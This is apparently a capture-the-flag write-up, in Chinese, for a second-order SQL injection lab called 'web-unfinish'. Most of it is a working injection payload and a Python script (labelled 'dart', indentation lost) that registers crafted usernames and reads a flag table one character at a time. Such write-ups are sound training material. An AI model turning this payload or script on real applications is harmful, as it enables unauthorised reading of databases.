题目:web-unfinish(sql二次注入)
二次注入
打开页面是一个登录页面

步骤
- 扫描一下目录:

有登录有注册
- 先测试登录是否存在sql,测试了一下发现似乎不存在。

- 继续测试注册,先正常注册一个用户,登录看看。

登录成功,能看到用户名。

- 试试再注册的时候,给用户名位置写上注入测试:0'+1+'0,登录后发现用户名变为1.

使用Burp Suite Fuzz 了一下,当用户名中有 information 或 , 时,会提示 nonono!!!

- 只能猜表名为flag.
通过payload依次读取flag值:0'+ascii(substr(select * from flag) from 1 for 1)+'0
- 写个脚本,自动读出flag。
流程为:注册-》登录-》获取用户名值(ascii)
dart
import requests
import re
import time
url = "http://61.147.171.105:54224/"
MAX_RETRIES_PER_POS = 5 # 重试
def get_flag():
flag = ""
i = 1 # 从位置 1 开始
while i < 50:
email = f"user{i}@qq.com"
username_payload = f"0'+ascii(SUBSTR((select * from flag) FROM {i} FOR 1))+'0"
password = "123"
retry_count = 0
success = False
while retry_count <= MAX_RETRIES_PER_POS:
if retry_count > 0:
print(f"[!] 尝试位置 {i} (尝试 {retry_count + 1})...")
time.sleep(2) # 稍等再试
try:
print(f"[+] 尝试位置 {i}: {username_payload}")
# 注册
r_reg = requests.post(
url + "register.php",
data={
'email': email,
'username': username_payload,
'password': password
},
allow_redirects=False,
timeout=10
)
if r_reg.status_code != 302:
# 可能是 SQL 错误或 flag 已结束(非网络问题)
print(f"[-] 注册失败 {r_reg.status_code} 再位置 {i}. 结束.")
success = True # 视为"正常结束",跳出
break
# 登录
r_login = requests.post(
url + "login.php",
data={'email': email, 'password': password},
timeout=10
)
# 提取 ASCII
match = re.search(r'<span class="user-name">\s*(\d+)\s*</span>', r_login.text)
if match:
ascii_val = int(match.group(1))
if ascii_val == 0:
print("[*] 结尾 (ASCII 0).")
success = True
break
char = chr(ascii_val)
flag += char
print(f"[+] 位置 {i}: ASCII={ascii_val} => '{char}' | Flag : {flag}")
success = True
break
else:
print(f"[-] 找不到flag {i} :\n{r_login.text[:200]}")
success = True # 无法提取,视为结束
break
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
retry_count += 1
print(f"[-] 网络问题 position {i} (attempt {retry_count}): {e}")
if retry_count > MAX_RETRIES_PER_POS:
print(f"[!] 超过最大重试 position {i}. 退出.")
print("\n[!] flag (部分):", flag)
return
continue # 重试当前 i
except Exception as e:
print(f"[-] 异常 position {i}: {e}")
success = True # 非网络异常,不重试
break
if not success:
print(f"[!] 错误 position {i} .")
break
if success and (
r_reg.status_code != 302 or
(locals().get('match') and int(locals().get('match').group(1)) == 0) or
not locals().get('match')
):
break
i += 1 # 成功获取一位,继续下一位
time.sleep(3)
print("\n[!] flag:", flag)
if __name__ == '__main__':
get_flag()

有疑问可留言解答...